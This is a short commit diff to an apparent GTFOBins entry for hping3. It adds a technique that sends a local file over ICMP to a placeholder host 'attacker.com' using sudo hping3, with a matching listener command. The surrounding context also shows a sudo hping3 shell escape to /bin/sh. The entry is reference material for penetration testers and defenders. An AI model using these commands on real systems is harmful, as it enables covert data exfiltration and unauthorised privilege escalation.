Add hping3 file upload

_gtfobins/hping3.md

@@ -12,4 +12,14 @@ functions:
     - code: |
         sudo hping3
         /bin/sh
+    - description: |
+        The file is continuously sent, adjust the `--count` parameter or kill the sender when done. Receive on the attacker box with:
+        
+        ```
+        sudo hping3 --icmp --listen xxx --dump
+        ```
+      code: |
+        RHOST=attacker.com
+        LFILE=file_to_read
+        sudo hping3 "$RHOST" --icmp --data 500 --sign xxx --file "$LFILE"
 ---